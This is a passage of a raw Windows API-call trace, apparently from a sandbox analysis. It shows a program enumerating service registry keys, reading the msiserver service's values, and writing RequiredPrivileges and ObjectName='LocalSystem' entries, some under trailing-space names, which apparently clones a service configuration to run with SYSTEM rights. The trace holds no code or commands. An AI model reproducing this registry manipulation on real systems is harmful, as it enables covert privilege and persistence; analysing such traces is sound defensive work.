cchName=0x104 | out: lpName="Modem") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0258.987] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0258.988] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0258.991] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.036] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.036] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0259.036] RegCloseKey (hKey=0x148) returned 0x0 [0259.036] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.036] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.036] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.037] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.037] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.037] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.038] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0259.038] RegCloseKey (hKey=0xc4) returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.038] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.038] RegCloseKey (hKey=0x148) returned 0x0 [0259.038] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.040] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.041] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.041] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0259.041] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0259.042] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0259.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0259.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0259.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0259.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0259.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0259.043] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0259.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.043] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.044] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0259.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0259.044] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0259.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0259.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.045] 